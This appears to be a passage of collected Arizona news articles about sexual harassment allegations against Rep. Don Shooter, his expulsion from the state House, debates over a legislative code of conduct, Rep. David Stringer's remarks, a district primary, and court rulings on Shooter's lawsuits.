Rep. Ray Martinez, D-Phoenix, accused Rios in an ethics complaint of having an “inappropriate relationship” with a House staffer. His complaint stemmed from a political tussle with Rios over political endorsements. The four GOP representatives asked in their letter for the Democratic Caucus to “take immediate action” to remove Rios as minority leader.

“House Representatives serve the public and should not abuse their position by exerting power and influence over others, especially through sexual misconduct,” Cobb, Norgaard, Nutt and Syms wrote. “Sexual harassment, sexual assault and sexual relations with House staffers should not be tolerated under any circumstance.”

Assistant Minority Leader Rep. Randall Friese said the move is politically driven.

“Beyond politics I do not understand why Rep. Rios was included in this letter,” he said. “The Speaker does not have authority over the status of our caucus leadership. From what we understand, the ethics investigation is moving quickly and we hope for a swift resolution.”

Rios’ lawyer, Larry Wulkan, said the letter aimed to take the spotlight off Shooter.

“(F)our female Republican members have decided to divert attention away from the sexual harassment allegations against their Republican colleague,” he said. “Allegations against Representative Rios are based on rumor, speculation and political motivations.”

Kurt Altman, who is representing Ugenti-Rita in the investigation, declined to comment on the representatives’ request, but added he was “confident the speaker will do the right thing.”

Other representatives could not immediately be reached for comment.



Governing the conduct of legislators is tricky, unprecedented

detailed illustration of a blackboard with Code of Conduct text, eps10 vector, gradient mesh included
detailed illustration of a blackboard with Code of Conduct text, eps10 vector, gradient mesh included

When it comes to dealing with lawmakers like Republican Rep. David Stringer of Prescott,  Senate President Steve Yarbrough defers to advice he once heard from his son.

“My son… said that, ‘You know what we really need is to have a law that makes it against the law to be stupid,’” Yarbrough said.

Short of that, the Arizona House of Representatives may put in writing exactly how lawmakers should behave, a policy intended to go beyond the standard ethics rules governing their votes and a workplace harassment policy adopted in the wake of sexual harassment by former Rep. Don Shooter.

In fact, a rule change in the House requires them to do so.

Shortly after voting to expel Shooter, the House adopted new rules – one giving the speaker the authority to create a code of conduct for staff, the other mandating that representatives adopt a separate code of conduct for themselves.

House Speaker J.D. Mesnard has spent the interim since session adjourned working with House leaders to draft a code of conduct for staff. And he told the Arizona Capitol Times he plans to have it in effect before he hands the gavel over to incoming House Speaker Rusty Bowers on January 14.

As for a similar code for lawmakers, they never followed through, even after a joint announcement by Mesnard and Yarbrough of the creation of a bipartisan and bicameral committee to draft the code.

Rep. Randy Friese, D-Tucson, said Stringer’s latest round of racially inflammatory comments should elevate the priority of approving a code of conduct in the House. All it would take is a majority vote of the chamber’s 60 members.

The code could put in writing why it’s wrong for Stringer to say what he’s said. But it’s not so simple, according to lawmakers from both sides of the aisle.

“It’s tough to create a code of conduct that would dictate a person’s speech or attitudes,” said former Rep. Chad Campbell, who led the Democratic Caucus in 2013 and 2014. “I think that’s a slippery slope no matter how much you may be disgusted by whatever the person is saying.”

Broken Rule

House Rule 38, approved on February 8, states: “The House shall have a written code of conduct applicable to members.” At the time, Mesnard acknowledged that meant lawmakers would need to write such a policy, and later that month, Mesenard and his fellow Chandler Republican, Yarbrough, announced a joint committee tasked with writing it.

Yarbrough stated that the work “is important for the benefit of the public and the respective institutions,” while Mesnard said that while it’s “unfortunate” that a code of conduct is even needed, “legislators will certainly benefit from greater clarity.”

Four senators and four representatives were expected to serve on the committee, with an equal split of Republicans and Democrats.

But by the end of the legislative session in May, the committee had never met, simply because no lawmakers had even been appointed to serve on it. That left the House in violation of its own new rule.

There was nothing in Senate rules requiring the adoption of a code of conduct, but Mesnard, who represents the same legislative district as Yarbrough, convinced his seatmate to go along with the plan.

From there, the follow through on the part of the Senate was lacking, according to Mesnard.

“We had approached members, Republicans and Democrats in the House, about serving on that committee… We did not get the same level of enthusiasm from our friends in the other chamber,” the speaker said. “We gave it some time, but it just never went anywhere.”

By the time the House determined it was best to move forward on its own, lawmakers were in the thick of the campaign season. And given that the legislative session had adjourned, it made little sense for the current class of lawmakers to draft a code of conduct that wouldn’t be enforceable until 2019, when the House is back in session and could vote to adopt it.

“It kind of has been in purgatory until we get past the election,” Mesnard said.

Yarbrough took the blame for the hold up on drafting the code of conduct: “We were never all that enthusiastic, I’ll confess.”

Like the House, the Senate has a workplace harassment policy, which it updated and began circulating to lawmakers in the wake of accusations against Shooter, who spent most of his time at the Capitol as a senator. That, by Yarbrough’s estimation, is enough. Trying to put in writing anything else about expectations for lawmakers’ behavior gets complicated.

“It’d be a huge challenge to try and draft that,” Yarbrough said. “Do you want me deciding what’s stupid? Or do you want Senator (Martin) Quezada (a Democrat) deciding what’s stupid? Very difficult. Very challenging.”

On Notice

Mesnard said he plans to use his lingering authority as speaker of the House to leave in place a code of conduct for staff. And that code could provide a blueprint for Bowers, a Mesa Republican, to call for a vote of the House on a code of conduct applicable to lawmakers themselves.

That code could provide House Democrats a reason to pursue a complaint against Stringer. So far, the incoming Democratic leadership in the House has called for Stringer to resign or for the House to censure him, but they’ve stopped short of a call for expulsion.

Friese explained that’s because they can’t yet cite any written House policy that Stringer violated.

For example, lawmakers started an investigation of Shooter because they suspected he violated workplace harassment policies in the House. Perhaps that will be the case with Stringer, Friese said – his behavior next session, which starts on January 14, could be cited in a complaint against him.

“We’re going to be quite attentive to what his behavior is and what he’s been saying – how does that affect members,” Friese said.

Voters’ Will

Campbell doesn’t think it’s possible to put in a rule in writing that Stringer would seemingly break.

It’s just not likely that such a code would explicitly say, “don’t be racist,” Campbell said. Stating as much in writing would be more aspirational than authoritative.

“I don’t think you can, legally. You can create it, but I don’t think there’d be any teeth to it. That’s a freedom of speech issue at the end of the day,” Campbell said.

Other lawmakers can cite basic morals – or “human decency,” as Campbell put it – when calling for Stringer to willingly resign. And many have, from Republican Gov. Doug Ducey to the chairman of the Arizona Republican Party.

House leadership can also try other means to get Stringer to resign. Bowers has already punished Stringer by removing him from some, not all, his committee assignments. Campbell once took away office privileges from a representative he wanted to resign.

An expulsion, simply for a belief, would be “unprecedented,” Campbell said.

“I think it’s hard to police people’s personal opinions,” he said. “That’s up to voters.”

But it’s not as though it’s impossible.

Yarbrough acknowledged that the Arizona Constitution – which gives representatives and senators the power to expel one of their own for “disorderly behavior” by a two-thirds majority vote – doesn’t specify when or how an expulsion can occur.

The majority can decide whether it finds Stringer’s behavior qualifies as disorderly without citing a code of conduct or House rules.

That doesn’t mean lawmakers will go so far. As Friese said, some are hesitant to push for expulsion without a broken policy to point to.

“Perhaps it would be better, perhaps it would be easier, to identify stupid if you’ve got it in writing,” Yarbrough said.

Until then, lawmakers are left weighing the prospect of serving alongside Stringer against the prospect of moving against him. Quezada, a Phoenix Democrat, said he understands the rough spot Stringer put his House colleagues in, and that they’re probably wary of starting another expulsion proceeding.

“He was just re-elected with a significant number of votes. And an expulsion coming right on the heels of Representative Shooter, I don’t think anyone wants to go through that,” he said.

As lawmakers weigh the need to admonish Stringer against the will of voters in Legislative District 1, it’s hard to dismiss that Stringer was elected by more than 67,000 votes. That’s the second most of any House candidate in the deep-red district. His closest challenger, a Democrat, didn’t even get half as many votes as Stringer.

That shows at least some level of support for Stringer in the district, Yarbrough said.

“It’s like beauty is very much in the eye of the beholder,” Yarbrough said. “So similarly, stupid is probably in the eye of the beholder.”

Harassment policy left out of amended House rules

House Speaker J.D. Mesnard on Jan. 30 addresses reporters about the findings of an investigation into allegations of sexual harassment against Rep. Don Shooter. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard on Jan. 30 addresses reporters about the findings of an investigation into allegations of sexual harassment against Rep. Don Shooter. (Photo by Katie Campbell/Arizona Capitol Times)

The House of Representatives didn’t include a formal anti-harassment policy in amending its rules, a change the House speaker called for after an investigation found a pattern of harassment at the chamber.

House Speaker J.D. Mesnard, R-Chandler, said he pulled a clause concerning a formal anti-harassment policy from the amended rules because there are questions about what part of the rulebook the harassment policy best fits in.

“There’s an ongoing discussion about the proper place to put the reference to the policy in the rules,” he said. “Should it be under the speaker’s power or should it be in a section that gives members more power to amend it?”

He added that once those questions are answered, the rulebook will “certainly” be amended to to include a formal harassment policy and it will come back for a vote.

“They weren’t just words,” he said, referring to remedial actions he announced last week following the release of the investigation report. “We’re going to make sure we have in House rules a harassment policy and code of conduct policy.”

After an investigation found that there was “credible evidence” former Rep. Don Shooter violated a sexual harassment policy and created a hostile working environment at the Capitol, Mesnard announced he planned to institute a formal code of conduct and prohibit the consumption of alcohol on House presimes. The House expelled Shooter Feb. 1. 

Mesnard said he also wanted to add a formal anti-harassment policy to the House rules, which carry the force of law.

Prior to voting on the proposed changes on Feb. 5, Assistant Minority Leader Randy Friese said he was disappointed to see the anti-harassment policy taken out.

“I believe in light of what just happened recently, the reflection of that policy in the rulebook is important,” he told his colleagues on the floor.

Minority Whip Kelly Townsend, R-Mesa, said she asked leadership to add language to the rules to address harassment at the Capitol, such as a form to file written complaints, but her suggestions have gone unheard.

Townsend added that though she was discouraged to see the anti-harassment policy taken out of the rules, she was also not pleased with the original language. She said as it was written last week, it would give the speaker sole power to create a harassment policy, something she said lawmakers should have input in.

“More than one person has to have control over what that policy is,” she said. “It just said that there had to be a policy and that the speaker was the one who was making the policy. It didn’t give anyone else any control over what the policy was.”

To address many of the concerns expressed by her colleagues regarding the harassment investigative process and proposed changes to the House rules, Townshend introduced HB2546, which would require both the House and Senate to establish a comprehensive harassment policy.

The policy would include a non-retaliation policy, investigation and due process procedures, would provide for a standard form to allow members and staff to file written complaints, and would also address privacy concerns.

The policy would require senators to submit a written complaint to the secretary of the Senate, and representatives would submit their complaint to the chief clerk. Members must also provide a copy of the complaint to the accused person, chair of the ethics committee and the accounting office within two business days after filing the complaint.

The bill states that any member who “knowingly” files a false complaint would be subjected to discipline or expulsion.

“This is what I would like to see, either in the rules or in the policy, and the policy wouldn’t be changeable without a vote of the body,” Townsend said, though she noted that she was unsure if the bill would go anywhere.

Mesnard said though most agree that the House needs a harassment policy, there isn’t consensus on whether that policy should be in the House rules or in statute.

“I think (Townsend) has a very specific idea of how the process should work but I don’t know how much widespread agreement there is on the process,” he said.

He added that including the policy in House rules would make it easier to change, while a statute would require a member to introduce legislation to amend the law.

House adopts rules calling for anti-harassment policy

The House of Representatives has adopted new rules calling for a written anti-harassment policy and code of conduct.

The new provisions are found under Rule 4, which outlines the House speaker’s powers, and Rule 38, which outlines procedures for adopting a code of conduct that applies to members.

House Speaker J.D. Mesnard on Jan. 30 addresses reporters about the findings of an investigation into allegations of sexual harassment against Rep. Don Shooter. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard on Jan. 30 addresses reporters about the findings of an investigation into allegations of sexual harassment against Rep. Don Shooter. (Photo by Katie Campbell/Arizona Capitol Times)

House Speaker J.D. Mesnard, R-Chandler, said a code of conduct has not yet been drafted.

Under Rule 4, the speaker will have unilateral power to develop and put into place a written code of conduct and harassment prevention policy applicable to staffers.

Under Rule 38, members will have the power to adopt and amend an anti-harassment policy with a majority vote of the House.

Placing the harassment policy and code of conduct in the House rules carries the force of law.

The chamber amended its rules on February 5, but the anti-harassment policy was removed from the final version as leadership worked to figure out where in the rules the policy best fits.

Majority Leader John Allen, R-Scottsdale, said many lawmakers asked that the original language of the rules be amended to give members more say in the process. He called the new rules a “compromise.”

 

House begins probes into sexual harassment claims against Rep. Shooter

Yuma Republican Sen. Don Shooter explains that one of his bills that went into effect July 20 — which prohibits requiring businesses to negotiate with union organizations in city contracts — is not “anti-union,” but is “pro-freedom.” (File Photo)
Rep. Don Shooter (R-Yuma) (Photo by Evan Wyloge/Arizona Capitol Times)

“Multiple investigations” are underway at the Arizona House as Speaker J.D. Mesnard and staff members respond to a growing list of sexual harassment accusations lodged against GOP Rep. Don Shooter.

A bipartisan group of House staffers will conduct the investigations. Their interviews with individuals involved in the complaints against Shooter, and the Yuma Republican’s own accusations against a colleague, could begin as early as next week. Mesnard said staff is currently scheduling those interviews.

The investigations were spurred by media reports about Shooter, who has for years chaired budget committees in the House, and in the Senate where he served from 2011 to 2015.

Rep. Michelle Ugenti-Rita, R-Scottsdale, was the first to publicly accuse Shooter of sexual harassment, allegations Shooter vehemently denied. Since then, two other lawmakers have come forward with their own claims about Shooter, as have other women.

Mesnard said House staff would look at each allegation individually. Any allegation against a lawmaker will be investigated, including accusations made by lobbyists and others, he said.

“Anything that I become aware of, either because someone tells me, which is not what’s happening, or because I find out in the media, which is what’s happening, we’ll do an investigation,” Mesnard said. That may include allegations made by women in an Arizona Capitol Times report posted on November 8.

For example, Democratic lobbyist Marilyn Rodriguez, who alleged Shooter inappropriately touched her, confirmed she’s been contacted by House staff to schedule an interview.

“Anyone who has an accusation, we’ll investigate, whether they’re a legislator or somebody else bringing something – anything that’s against a legislator,” he said. “We’ll treat them all separately unless they have to do with the same kind of thing.”

The House would follow the path set forward in the draft sexual harassment policy Mesnard issued last week in response to Ugenti-Rita’s initial claims on October 20 about being a victim of sexual harassment at the Capitol. Though the policy is new in form, it does incorporate some internal guidelines for dealing with reports of harassment, including steps for investigating those allegations.

While that step-by-step process is “malleable” to fit the needs of individual investigations, according to the policy, it does detail a few steps that should be considered, the first of which is appointing an investigative team.

That bipartisan team consists of Tim Fleming, House rules attorney; Jim Drake, chief clerk; Josh Kredit, general counsel for the GOP majority; Christine Marsh, associate general counsel for the GOP; Rhonda Barnes, general counsel for House Democrats; Amilyn Pierce, deputy chief of staff for the GOP; and Cynthia Aragon, House Democrats’ chief of staff.

Though some of the allegations against Shooter date back to his time in the state Senate, Senate GOP Spokesman Mike Philipsen said the Senate has no immediate plans to conduct its own investigation. With Shooter now in the House, that chamber has jurisdiction – the Senate would have no ability to sanction a representative, he said.

Senate staff said they’ll cooperate with the House investigation as needed.

Depending on the investigations’ findings, there are a number of methods state legislators can take to reprimand a fellow lawmaker. House rules detail the chamber’s ability to censure representatives who have breached House rules, and per the Arizona Constitution, each chamber can, by a two-thirds vote, choose to expel a legislator.

Mesnard left open the possibility of using any number of punitive options.

“I think sexual harassment can mean a lot of different things. Are there certain situations that would warrant severe penalties? That’s possible,” Mesnard said. “It’s a big continuum of what constitutes sexual harassment and what evidence is in play.”

House speaker calls on men to ‘do better’ to thwart sexual harassment

House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter's suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard (Photo by Katie Campbell/Arizona Capitol Times)

With allegations related to sexual harassment against two of its members still pending, House Speaker J.D. Mesnard opened the 2018 legislative session with a call to all — especially the men — to do better.

“Some people say this place is not safe,” the Chandler Republican said. But he also said it is not a situation unique to the Arizona Legislature.

“I want to say today that I know we can do better,” Mesnard said.

“We must do better,” he continued. “And I use that pronoun ‘we’ deliberately.”

Mesnard said it’s irrelevant whether people believe any or all of the allegations that have been made.

The speaker was not specific. But there is a pending investigation against Rep. Don Shooter, R-Yuma, who was accused by Rep. Michelle Ugenti-Rita, R-Scottsdale, of harassment. He, in turn, has charged she has made improper comments and had an intimate relationship with someone who at the time was a House staffer.

“Whether or not you believe everything that’s been written about, we’ve been called out as an institution,” Mesnard said. “And we must not ignore it.”

But he also said there is a “growing chorus of folks” who say there is room for improvement, especially in how women are treated.

“We can’t dismiss it,” Mesnard said. “It’s our responsibility to take a hard, long look.”

He also said that the reputation of the house will not be defined “by any one miscreant” but instead by the collective actions of the House.

But Mesnard made it clear that the problem, to the extent it exists, rests with one half of the population. And he called out to the male half of the chamber.

“I suggest we must be better men, all of us,” he said. And Mesnard said while each person is responsible for his own behavior, “we can still hope to hold each other to the highest standard of conduct, insisting that we be true gentlemen.”

“The people are watching us,” he said.

House to create code of conduct in wake of Stringer resignation

House-Reps-2

Facing Democrat demands, House Speaker Rusty Bowers on Wednesday finally directed the Ethics Committee to come up with a code of conduct for lawmakers – including whether they can be ousted for their public comments – more than a year after it was first promised.

But it took Minority Leader Charlene Fernandez calling out Republican leadership before there was action. GOP leaders had promised last year to create a committee in the wake of the decision by the House to oust Rep. Don Shooter, R-Yuma, over charges of sexual harassment of other lawmakers and colleagues.

It also came after reporters questioned Bowers about the lack of action to date.

What makes the lack of a code crucial, said Fernandez, is there are no clear guidelines for what makes someone unfit to serve in the Legislature. And she said that should include whether it should cover things that occur elsewhere, like the racially charged remarks made by now-gone Rep. David Stringer, R-Prescott, to the Republican Men’s Club in Prescott.

But several Democrats already have concluded that such comments should be grounds for discipline – and even expulsion.

“There is a basis to hold people accountable when you make racist statements along the lines that he made,” said Rep. Diego Rodriguez, D-Phoenix.

He is not alone. Rep. Reginald Bolding, D-Laveen, sought to remove Stringer in January based solely on those remarks – and long before anyone knew about a1983 arrest in Baltimore on charges of molesting, one of whom was developmentally disabled. Stringer resigned March 27 but continued to insist on Facebook two days later those events never happened.

But Bowers questioned whether speech, by itself, particularly away from the Capitol, should ever put a lawmaker’s right to serve into question.

“He was not thrown out due to racial comments,” Bowers said of Stringer.

“He was thrown out for his inability to act in this body because of things that happened long ago,” the speaker said, saying Stringer’s actions showed a lack of “ability to have respect for this institution.”

Rep. T.J. Shope, R-Coolidge, who chairs the Ethics Committee, agreed that it is unlikely that his panel, had it completed its work before Stringer resigned, would have recommended that he be removed for his comments.

But the fact that Stringer needed to be replaced only underlined the questions that loomed at the Capitol for more than a year, since Shooter’s ouster, about legislative conduct. Fernandez said that forming the long-promised committee to craft a code would finally decide what is acceptable from elected officials.

“Where’s the line?” Fernandez said. “I think it’s going to be drawn by our fellow colleagues,” with input from members of the public.

That still leaves open the question of removing a lawmaker for something said elsewhere.

One of the two charges brought against Stringer – the other being the Baltimore arrest – had to do with statements he made last year.

The first set was during that meeting of the Republican Men’s Club where he called immigration, legal and otherwise, an “existential threat to the United States,” that American’s “melting pot” exists for “people of European descent,” and how immigrants from south of the border don’t assimilate because they maintain connections with their home countries.

Despite that he was returned to the Legislature by area voters.

A month later, though, Stringer made comments to Arizona State University students saying that African-Americans “don’t blend in, they always look different.”

Rodriguez said such comments go beyond a lawmaker’s First Amendment rights. He said what Stringer said “go directly to the legitimacy of other American citizens and their legitimacy and their role in our society.”

And Rodriguez argued that if Stringer had made those comments on the House floor he would have been found out of order.

“So how is it that he can say that in public and not be held accountable?” he said. “That’s part of the issue that we’re talking about.”

Rep. Mitzi Epstein, D-Tempe, said that, if nothing else, a code of conduct could provide some guidelines and training, including how to work with women and how to “understand that racism is not tolerated in the House of Representatives.”

It’s Maricopa vs. Yuma in LD13 GOP House primary

Rep. Tim Dunn (R-Yuma) (Photo by Paulina Pineda/Arizona Capitol Times)
Rep. Tim Dunn (R-Yuma) (Photo by Paulina Pineda/Arizona Capitol Times)

If Republicans in Maricopa County have their way, nobody from Yuma County will represent Legislative District 13 in the state House of Representatives.

Of the four candidates in the LD13 House GOP primary, Rep. Tim Dunn is the only one from Yuma County. The sprawling district includes parts of that rural area.

And though Dunn has raised the most money of the four candidates in the race, and he boasts the support of the business and farming communities, the Yuma Republican, who was appointed to fill expelled Yuma lawmaker Don Shooter’s House seat in LD13, faces a math problem.

In LD13, the total number of registered Republicans in Maricopa County outnumber the registered Republicans in Yuma County by almost 18,000. Yuma County’s GOP voters represent just one-third of LD13’s registered Republicans, and a third of all registered voters in the district.

Shooter, who is attempting a political comeback, also faces a tough primary contest against incumbent Sen. Sine Kerr, R-Buckeye, in the Senate, primarily because of the scandal that resulted in his expulsion from the House this year.

If both Dunn and Shooter lose their races, the interests of one of Arizona’s biggest farming communities would have zero representation at the state Legislature.

Already, Dunn’s seatmate and primary opponent, Rep. Darin Mitchell, R-Goodyear, is working to expose Dunn as a “campaign conservative,” just another RINO in the party, as he himself fights to get re-elected and jockeys for the speakership.

Political newcomer Trey Terry, who is running on a ticket with Mitchell, and Joanne Osborne, former vice mayor of Goodyear, are also seeking the GOP nomination in the House.

Capitol insiders say the four-way race is one to watch.

Republican political consultant Chuck Coughlin said while it’s hard to knock out an incumbent in a primary, Dunn finds himself in a tough spot because he was appointed to the seat, not elected, and he took over the role halfway through the legislative session.

His late appointment meant that he was unable to sponsor any bills himself, and like most freshmen lawmakers, he spent most of the session learning the ropes.

Still, Coughlin said Dunn used his time at the Legislature wisely, taking an active role in water policy discussions, a top issue affecting the district.

Coughlin said Dunn is well respected by the agriculture community, and as a lifelong resident of Yuma, is well-liked by voters there.

He also has a “great name.”

“Tim Dunn — it’s not a hard name to remember. And it’s simple things like that that will probably aid him in the end,” he said.

Like Dunn, Coughlin said Osborne also has a memorable name. She’s part of one of Arizona’s “first families” — her family owns a jewelry store called Osborne Jewelers, and she has been a political figure in the West Valley for more than a decade.

Coughlin said though Mitchell has served in the Legislature for six years, there is a fairly aggressive opposition campaign being run against him because of his interest in the speakership. And it’s not unprecedented for a candidate who is running for leadership to lose their bid for re-election, he said.

Of the four candidates, Coughlin said Terry appears to be “on the outside looking in.” Though he is running with Mitchell, he has raised relatively little money compared to Dunn, has never held political office and doesn’t have an established voting record like the three other candidates.

Political consultant Chris Baker, who is representing Mitchell and Terry, said neither of his clients are worried about the competition.

He said despite the large war chest and support, Dunn will struggle to return to the Capitol. Osborne, he said, is too moderate for such a red district, an allegation Osborne refuted.

Baker said Dunn’s biggest mistake is that he has billed himself as the “Yuma candidate,” and has largely ignored constituents in Maricopa County.

“Dunn has run ads saying he is the ‘Yuma candidate’ or that he’s ‘fighting for Yuma.’” Baker said. “I don’t know if he doesn’t realize we can see it all, but he has taken a lot of steps to try to establish himself as the Yuma candidate and I’m not sure the voters in Maricopa County are necessarily going to be enthusiastic about electing the Yuma candidate.”

Dunn knows he faces an uphill battle, but he took issue with Baker’s assessment that his campaign efforts have been focused on Yuma.

He said in a four-way primary, candidates can’t expect to coast to an easy win, they need to earn the support of their constituents, so he has spent the summer campaigning throughout the district.

“We’ve worked hard to understand the district, not just the Yuma County portion, but all of the district,” Dunn said. “I’m not just someone from Yuma. I’m not an outsider. I have businesses that are in the Maricopa County portion of the district, and a lot of the issues we face in Yuma are the same issues voters face in Maricopa County. And my job is to make sure during this primary that I let people know that.”

Judge dismisses federal claims in ousted lawmaker’s lawsuit

Symbol of law and justice in the empty courtroom, law and justice concept.

A federal judge late Friday threw out charges by former state Rep. Don Shooter that his civil rights were violated by an investigation that resulted in his ouster last year from the state House.

Judge Dominic Lanza said Shooter’s claim is based on his claim that former House Speaker J.D. Mesnard and Kirk Adams, the former chief of staff to Gov. Doug Ducey, acted improperly, leading to his expulsion. But the problem with that, the judge said, is there is no clearly settled law that lawmakers in fact have a right to ask a federal court to intercede in matters involving their removal.

What that also means, said Lanza, is that Mesnard and Adams are entitled to qualified immunity for any actions they say they took in their official capacity.

The judge also took a slap at former Attorney General Tom Horne, who is representing Shooter.

Don Shooter
Don Shooter

Lanza said he specifically asked Horne during a hearing earlier this week for any actual legal precedent showing that the proceedings used by the House in ousting Shooter − in this case, requiring a two-thirds vote − were unconstitutional. The judge said Horne did not provide an answer but instead urged the court to consider “the facts” alleged in the complaint.

“This is not how qualified immunity works,” Lanza wrote.

Friday’s ruling does not take either Mesnard, now a state senator, or Adams, who quit state government last December, off the legal hook.

Lanza dealt only with the federal civil rights claim over which he has jurisdiction. He said the other claims made by Shooter, including wrongful termination, defamation and false light invasion of privacy, need to be resolved in Maricopa County Superior Court.

The former Yuma lawmaker was expelled last year following a 56-3 vote of the House following release of a report addressing allegations of sexual harassment and other inappropriate conduct.

Shooter, in his lawsuit, contends that expulsion was the result of a “conspiracy” involving Adams, who was still working for Ducey at the time, Mesnard and others.

Shooter, who was chairman of the House Appropriations Committee, charged that his ouster was engineered to keep him from exposing the state’s use of no-bid contracts. And he said the allegations against him, largely by then-state Rep. Michelle Ugenti-Rita, were part of a plan to discredit him.

He also argued that the procedures used against him, set up by Mesnard, did not follow typical House policy, with no hearings before the Ethics Committee and no right for him to present his own witnesses or confront his accusers.

Horne said Friday’s ruling does not undermine Shooter’s claims, saying he believes the former lawmaker will win in Superior Court.

Judge rejects Don Shooter’s effort to get documents from sexual harassment investigation

This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)
This Feb. 14, 2017, file photo shows Arizona state Rep. Don Shooter, R-Yuma, on the House floor at the Capitol in Phoenix. (AP Photo/Bob Christie,File)

Former state Rep. Don Shooter has no legal right to the notes and interviews of investigators whose report led his colleagues to eject him from the House of Representatives.

In an extensive ruling Monday, Maricopa County Superior Court Judge Bruce Cohen said the work of the two attorneys hired by House Speaker J.D. Mesnard is protected by attorney-client privilege. And Cohen said that Mesnard did not waive that privilege when he released the final 82-page report or even provide the public with some additional documents.

But Cohen said there’s also another problem with the subpoenas that Kraig Marton, the attorney for the ousted Yuma lawmaker, has issued for the materials.

He pointed out that Shooter wants the documents to defend himself in a civil lawsuit filed by Rep. Michelle Ugenti-Rita, R-Scottsdale, who was listed in the report as one of the victims of Shooter’s sexual harassment.

Her lawsuit charges that Shooter is guilty of slander, libel, battery and negligence.

He, in turn, has filed a counterclaim accusing her of defamation. And Shooter contends the notes and interviews of about 40 witnesses conducted by the investigators for the House are material to the outcome of this lawsuit.

But Cohen pointed out that Shooter is not seeking documents from Ugenti-Rita related to the lawsuit but instead documents from the House report that led to his removal.

Only thing is, neither Mesnard nor the House are parties to the lawsuit. And that, Cohen said, presents a legal barrier to Shooter using this lawsuit to go after the documents he wants which are the property of the House.

“The actions taken by the House of Representatives (and the) speaker of the House surely have common facts to the claims now before this court,” the judge wrote. “But one did not cause the other.”

Cohen said what Marton effectively is arguing that if it were not for the actions of Mesnard and the House in producing the report, there would be no basis for Ugenti-Rita’s claims.

“In a metaphysical sense, that is perhaps true,” Cohen said. “If one set of events did not occur, perhaps the second set of events might not have occurred.”

That report found “credible evidence” Shooter violated anti-harassment policies several times with Ugenti-Rita, including making sexual comments and suggestions and making “unwelcome sexualized comments” about her breasts. It also found incidents of harassment and improper conduct or comments involving others.

But the judge said none of that proves that Ugenti-Rita would not have sued Shooter had Mesnard or the House not produced the report in the first place. So Cohen quashed the subpoenas issued by Marton.

Shooter, in a prepared statement Monday, indicated that he is not ready to give up on getting access to the documents.

He contends they will help him in his lawsuit by proving that Ugenti-Rita herself is guilty of sexual harassment of others. That evidence, Shooter said, was deliberately left out of the final version of the report — evidence he said is central to the lawsuit.

“At the direction of the speaker of the House, the existence of this victim, though documented by the investigator, was excluded from the taxpayer-funded ‘independent’ investigative report,” he said. “The evidence we seek, already provided by the victim to the state’s investigator, will shed light on my accuser’s lack of truthfulness.”

The closest the final report comes to questions about Ugenti-Rita’s own actions is that investigators sought to determine if she was complicit in sending what were described as “unsolicited, sexually explicit communications” to someone who is believe to be a female former staffer. The report described these as “egregious and potentially unlawful acts.”

But the report also says that Brian Townsend, a former House staffer to whom Ugenti-Rita used to be engaged, accepted sole responsibility for sending these out and the matter was not pursued. Shooter contends the details of what the attorneys learned — and pictures themselves — were in early versions of the report but excised before its release.

In his statement Monday, Shooter also took a shot at Mesnard, calling him “a corrupt man in power” for covering up the allegations against Ugenti-Rita.

Mesnard told Capitol Media Services he will not comment while there is litigation pending.

That includes not only this lawsuit. Shooter already has filed a $1.3 million claim against the House — the legal precursor to a lawsuit — related to his ouster.

Shooter has made no secret that he hopes the release of all the notes and witness interviews will help him clear his name — or at least provide voters with a more complete picture of the issues that resulted in his ouster.

“I think there’s going to be a tremendous amount of information that will damage the credibility of my accuser and, in addition, will bolster my view of the facts,” he told Capitol Media Services earlier this year.

Whatever Shooter manages to get — if anything — comes too late to immediately salvage his political career.

After his ouster, Shooter made a bid to get elected to the state Senate. But he came in third in the three-way Republican primary.

Cohen said while he won’t give Shooter the investigators’ notes or interviews, the report they produced actually will help him defend himself in this lawsuit. The judge said that, in effect, the House investigators have done some of his legal legwork for him.

“With minor exceptions, the report identifies for him the names of witnesses who may have information relevant to these proceedings,” Cohen wrote. He said Shooter is free to interview all of those witnesses “and there is nothing that prevents him from doing so because of the non-disclosure of privileged or work product information.”

Judge rules ex-lawmaker has no case to challenge expulsion

court decisions binders

Arizona lawmakers have no right to challenge in court their expulsion from the Legislature, a state judge has ruled.

Maricopa County Superior Court Judge Theodore Campagnolo, a Democrat appointed by Gov. Doug Ducey, has rejected claims by former state Rep. Don Shooter that his rights were violated when the state House voted to oust him in early 2018.

Campagnolo acknowledged Shooter’s claims that the process followed by the House and then-Speaker J.D. Mesnard deprived him of his rights, including to confront his accusers and to examine witnesses. But he said that, whether that’s true or not, it does not matter.

“These rights are not available in a legislative decision to expel a member under the Arizona Constitution,” the judge wrote.

The ruling has implications beyond Shooter. Unless overturned it means that both the House and Senate are free to expel members for whatever reason at all without being second-guessed by the courts.

Don Shooter
Don Shooter

Campagnolo also threw out separate claims by Shooter that he was defamed and that his privacy was invaded by both Mesnard and Kirk Adams, at the time the chief of staff to Ducey.

Stuart Bernstein, one of Shooter’s attorneys, said he is still reviewing the ruling. And he pointed out that Campagnolo is giving Shooter a chance to refine his complaint to address the issues raised in the decision.

The House voted 56-3 to oust Shooter after an investigative report found there was “credible evidence” Shooter had sexually harassed other lawmakers, lobbyists and others.

Shooter said Mesnard ignored longstanding House policy that such allegations be reviewed by the Ethics Committee where he would have had a chance to present his own evidence and have his counsel question witnesses against him. Instead, Mesnard farmed out the issue to a committee of House staffers who, in turn, hired outside attorneys to investigate.

He also said his rights were violated because he was charged with violating a “zero tolerance” standard for sexual harassment, a policy that did not exist at the time. And he charged that Mesnard had the independent investigators he hired “omit material and exculpatory testimony and evidence,” including allegations against then-Rep. Michelle Ugenti-Rita, R-Scottsdale, who was one of the women who complained about his conduct.

Campagnolo said all that is legally irrelevant.

He cited a provision in the Arizona Constitution which says each house of the Legislature “may punish its members for disorderly behavior, and may, with the concurrence of two-thirds of its members, expel any member.”

Ted Campagnolo
Ted Campagnolo

“The Arizona Constitution does not give the power of expulsion to the judiciary,” Campagnolo wrote. “There are no judicially discoverable and manageable standards to resolve a House procedure to expel a member.”

